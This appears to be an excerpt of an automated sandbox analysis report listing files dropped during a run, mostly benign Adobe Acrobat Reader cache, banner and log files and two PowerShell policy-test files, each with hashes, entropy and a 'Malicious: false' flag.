Preview:	{"analyticsData":{"responseGUID":"aeda4c38-709d-4487-8691-3a2391fd0728","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736734877641,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.300185683220748
Encrypted:	false
SSDEEP:	6:YEQXJ2HXh3ruPKmAJYWsGiIPEeOF0YJoAvJfFldPeUkwRe9:YvXKXFuCt7sdTeOGGz8Ukee9
MD5:	FC0A49A28153B193AB4BF008BD70B185
SHA1:	018FC955E9A79953FFE8DAB8FC8F473B19A43B59
SHA-256:	78597C2E0FBBC8411D3D50A2B47B0227AF3F87BDE9737CDF5455ED81C478D356
SHA-512:	2C30AEB53BD61A30736904B9D61F89810245515A5F759AB70B4356B11BA75A3874B8A2FD492C26ECF2D3CA37E69AF48FFA100C71BA0C8A82E9ADD3E8437672C3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aeda4c38-709d-4487-8691-3a2391fd0728","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736734877641,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.308083484174172
Encrypted:	false
SSDEEP:	6:YEQXJ2HXh3ruPKmAJYWsGiIPEeOF0YJoAvJfzdPeUkwRe9:YvXKXFuCt7sdTeOGGb8Ukee9
MD5:	73FBCFC1D4FFBBD4F3F93F4707677EA1
SHA1:	A19B82216EC1672ABF0ACBD6DAAA73036A23AA31
SHA-256:	511A024CCEA90EBC5CC396D3967282A6930B2DF2DF963F0C02A5FD2E7436F4FA
SHA-512:	3083873F67B147F19F224E607850FA3695CE36FF8AB32CA1860CF534FF894F22D0BDBC2B368A2A0854B732B069A4A97FDAB419E7504A5553EDEE0F51721DD63C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aeda4c38-709d-4487-8691-3a2391fd0728","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736734877641,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2887705147827875
Encrypted:	false
SSDEEP:	6:YEQXJ2HXh3ruPKmAJYWsGiIPEeOF0YJoAvJfYdPeUkwRe9:YvXKXFuCt7sdTeOGGg8Ukee9
MD5:	A6D10A1C4D21690C79AEF7E9D7870CDE
SHA1:	47E1A70669D05300B27CF99E8460ACF6B5BB2976
SHA-256:	4B2881D599EE13C06A7A746AA45C0DF8AF8D9B93A1ECD6A6643CF7C4949AC4A8
SHA-512:	069FD8B83B252D28E84DA94ECD51C05248E782EAFC627DF9099E5695FE1B06F4204F6007538DC6A4E854D2E488DBF1C2A93F2151511A11C8CADA756EE2426172
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aeda4c38-709d-4487-8691-3a2391fd0728","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736734877641,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.274623185401133
Encrypted:	false
SSDEEP:	6:YEQXJ2HXh3ruPKmAJYWsGiIPEeOF0YJoAvJf+dPeUkwRe9:YvXKXFuCt7sdTeOGG28Ukee9
MD5:	919585F32E0E19E363A9822FB0897534
SHA1:	BB1ECAF36ACCE7D98C1EDE7D250DF896B35B4786
SHA-256:	26004785E5C282391F39E0E28ECDD818E19F656209A1FEF458FF4CC6CDB49867
SHA-512:	9EBA860D7171DC83A9E9883798505295EBBCFEF8D440184FFB8652E8386B385ABFB934159C81EC67BCAD7FC4550DEAB9FA9EB66220567728C2BFA52403F26C66
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aeda4c38-709d-4487-8691-3a2391fd0728","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736734877641,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2723947910492095
Encrypted:	false
SSDEEP:	6:YEQXJ2HXh3ruPKmAJYWsGiIPEeOF0YJoAvJfbPtdPeUkwRe9:YvXKXFuCt7sdTeOGGDV8Ukee9
MD5:	B436B34765F3FABDFCBEC107B59D77AA
SHA1:	70F6E9E0E2603C48281F94D543C32B117381D959
SHA-256:	AAC001CE884965563F12F0ABB0CC427E471DBF63EF8AC59F85ACB0752EE0CCF1
SHA-512:	734AB748A124B9B8A3B97905661CC1450ED9350501B215BB3B3F87CDDABA44389AF91F99E7E43F0038432793D10C293E1073D7E5F6879A9BDC569484E90CDB89
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aeda4c38-709d-4487-8691-3a2391fd0728","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736734877641,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.277186676427426
Encrypted:	false
SSDEEP:	6:YEQXJ2HXh3ruPKmAJYWsGiIPEeOF0YJoAvJf21rPeUkwRe9:YvXKXFuCt7sdTeOGG+16Ukee9
MD5:	BB68ACA8FC6428CA8101D88EC0DA29E2
SHA1:	5F55A92CAE0C4AD5FED877073555F21A71818325
SHA-256:	A2EFF5B6E08B19EF3137D999C8949BA3F85BF70D53360FD22ECAC73C80676739
SHA-512:	BF9E9E094C8C89E932B4E729BEA062D046E6309E1FEF0652BC2CA48EAD7867AE7F0E6C9EE2D2CF9129E219F40669FEB8069D980C1E14719546AABA2BBC82D772
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aeda4c38-709d-4487-8691-3a2391fd0728","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736734877641,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.662630764698837
Encrypted:	false
SSDEEP:	24:Yv6XZt7meOjamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSX:YvTeCBgkDMUJUAh8cvMX
MD5:	D7F82C91C2830B7642982AA087DC695B
SHA1:	56F62E0FA265363442B78F11605D98AF8E60614E
SHA-256:	C02E5FAE1E5F549279AB28BA0504CD1854E2B886B728A17F84D38C7AB16369AB
SHA-512:	BD41191453CCB486A1096FA46269111D1416E4C295C97F7B05508A28259069545CCFF929B4EAB15A3181D97EB865A4C1C107A1277226304B28586B307D0E892D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aeda4c38-709d-4487-8691-3a2391fd0728","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736734877641,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.251351051635332
Encrypted:	false
SSDEEP:	6:YEQXJ2HXh3ruPKmAJYWsGiIPEeOF0YJoAvJfshHHrPeUkwRe9:YvXKXFuCt7sdTeOGGUUUkee9
MD5:	9B5069FCB686F42A48BE0708D9285296
SHA1:	788956B817BC2697B0D20C966210261312852115
SHA-256:	6E64A52BFCAE556C26AC2272EA04EA88CE2C1A55D0A541FF0920EB43B2A4E459
SHA-512:	954A9E55FF9356A8D81AE367544540C6BFF25AA1D859EC28FF00D0F8FB721D04C94CAE94A33433389EFAFAC5F350ABC11610F54E2A49F55C0FDD238146FC4807
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aeda4c38-709d-4487-8691-3a2391fd0728","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736734877641,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.27199614793061
Encrypted:	false
SSDEEP:	6:YEQXJ2HXh3ruPKmAJYWsGiIPEeOF0YJoAvJTqgFCrPeUkwRe9:YvXKXFuCt7sdTeOGGTq16Ukee9
MD5:	7DC69BE7177F66EC74AC451DED13E6D1
SHA1:	2C221516208518FF5F69349EF22F45D063079D7F
SHA-256:	2E617F944A73C84631E22350219258A4489AA6E381872EA548045A0E1417D713
SHA-512:	EF58F5D358E7ACF4ED094344FC885A482C516CB408631650B10E694F8194EE971E4D7F0BF2D65B3201B4DCA4473FB98C08220BC91C0D266ABA6D2A8C4D1AC5BC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aeda4c38-709d-4487-8691-3a2391fd0728","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736734877641,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.129784162332414
Encrypted:	false
SSDEEP:	24:Y0x6ahlU3ay+pnSPYa2pPBXhfTjP7Vj0SZr4CB2aXF2LS7CXqfHHRK5qo/97HuJj:Y0pi6xa2pLl94iVXFxIqfH8n/97q
MD5:	E2E6064F98EDE642C40AA7F529C59B9F
SHA1:	1F4934EEAC71BFB91484B34FF0A99A2AD6BF0A8E
SHA-256:	36444738C64B99162EE8D6BC17230A9945724BD8F8016450052361E99668B011
SHA-512:	54A81A7ABCC5D8B8E30331375791F23CDF39BB9CA0986D59620A6580AA0487CACC4D3800AB059C42A8EAA915EA3A584A9FD240D34583420D1C12019BDBB62CD5
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"28f2168ff4ac7de845a1c9be7511b0e6","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736560698000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"ea6535eb180e86e20c59d068fcbf656e","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736560698000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"b543821e415c4a0e480430ec8fd3b634","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736560698000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"17b4d50aa6b86277fc1a6b3514b2fcf9","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736560698000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"519e7a9fcb6ac426ae3e0b8d0b940696","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736560698000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"bf0d1a0efa5c370659a814aa38aaf4b9","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4532259306133433
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsR+l/Y:lNVmsw3SHtbDbPe0K3+fDZdWyY
MD5:	64CA6260F29E46F88324A71AD29AD70D
SHA1:	4FF368B54C1514E213C4A54724C83826741B86AC
SHA-256:	17187403A010E5FBEF67C5A421C7CACF6EA5989B2ABD827BFC4ABB9B96692713
SHA-512:	E18855FA23306E9D16E76CBA768478ADA0CE6A2B9DF068956AEE3D1CD17A82F2020903CE5FF5EE86F5FF81522F1D28CC6DC7B8704B8F25352AF71E736D0EE0D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9584756460585186
Encrypted:	false
SSDEEP:	48:7MdrvrBd6dHtbGIbPe0K3+fDy2dsRvYlfqFl2GL7ms5:743SHtbDbPe0K3+fDZdWIKVms5
MD5:	01AFC31428DE15C6FA2ACD99A8FE7308
SHA1:	8D32DBD45DC9DB29B5FE8DCCB3FD5466D64DC99D
SHA-256:	F6A10A3BF700CCCCAB4241D63BF9774E8E3AB0C8A322BA208FCE2849E9E54971
SHA-512:	58C2130B848E12681154CC40FECF0BDED965572B140AF6767261F55A2E707DB12648DF2441426AAA751C532962BDA500F95F3A0A783731A95C34A7E7B689C477
Malicious:	false
Preview:	.... .c..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg+in4BLFekrF4M06U5gqxOF2hYyu:6a6TZ44ADE+in+ekFX0o2hK
MD5:	1E360C878E1F1F31B879E6B7CC2E3C99
SHA1:	D80ABBF38C8965EEDA240B650792FBEF78294C76
SHA-256:	B6D701B2C3C5F3D77DBEA05E809B9E82FE079D00E2DEBA4DABDEE3508D0AA2CF
SHA-512:	FA40E1A841BC92B1A7C4C7E637D6B0F15756B826F3870C13E492D37647AD2640E2F5A8ACCAFC05F09A5473AEAF21C1EC679E494560D667A3265D38DBC09647B8
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI86cf6.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClJxYle:Qw946cPbiOxDlbYnuRK+bvw
MD5:	030B10891008724A9493D594297B9B24
SHA1:	EA21CE67E0C7D2ECE4FD037AA2F5E744FF4854B8
SHA-256:	5837D154492ADCCE3F79C8281BBB0065DC330D1690DCD69F14F1847DA575CD50
SHA-512:	ED3AD66A5C0BD74E67F6B9736C5CBD1993F4EBB49CDA949BE46CF8F3C476C642B98B6D12D0F5AED78CF71A3F92ABB82FAE890CA8BE338E668A9C5C2D3011AF7C
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.5.8.:.1.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cxexpufi.hax.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y2gxr5uy.w44.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-58-09-946.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.315144485265109
Encrypted:	false
SSDEEP:	384:nJTErZa5nSDxtCTg0LlVz39Yx1SjV+oQiPwR3NFHicevOp36i/vWvm3w+PYC+JKy:d9NH
MD5:	E75A043013A1FD8F8095CEFCB0886345
SHA1:	FBF40804D3A3906F933243C17F7C34A01CD6642A
SHA-256:	8CEAEABCA2227EEA5B61A1B9801457078B48E6417700031A7C74E702C804FD92
SHA-512:	9BDAC9F6AF2314418D7BC1C7E9D95FF6D316BDA2F1C8E7739AB710D6F9954C2C22C5C2E275238E747C19295A864A12B821A84939EDA4DDD111114650BD27CEDB
Malicious:	false
Preview:	SessionID=ece2a989-5cac-4653-8968-01d0ccf88995.1736560689996 Timestamp=2025-01-10T20:58:09:996-0500 ThreadID=1988 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=ece2a989-5cac-4653-8968-01d0ccf88995.1736560689996 Timestamp=2025-01-10T20:58:09:997-0500 ThreadID=1988 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=ece2a989-5cac-4653-8968-01d0ccf88995.1736560689996 Timestamp=2025-01-10T20:58:09:997-0500 ThreadID=1988 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=ece2a989-5cac-4653-8968-01d0ccf88995.1736560689996 Timestamp=2025-01-10T20:58:09:997-0500 ThreadID=1988 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=ece2a989-5cac-4653-8968-01d0ccf88995.1736560689996 Timestamp=2025-01-10T20:58:09:997-0500 ThreadID=1988 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.408889481831629
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gR9c:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRQ
MD5:	A7A1B0CCED8E8C4F57188C8770FC505D
SHA1:	915682FEDB75B2EFD0BAEBA8B828B9906309DF69
SHA-256:	1EE1D4CCB96EF96DC7E2DD1ADDF81AEE6A9AB21491E4B8E994426835D6324EA3
SHA-512:	0C3129663A9525D3B2A638FC384A7D812BE567DD333036340A0EF860DA0D9A44A61A805B1EB213037B1C9E1CCA4911F4DA38285CBBAFAA972CE46E4650798DD4
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - 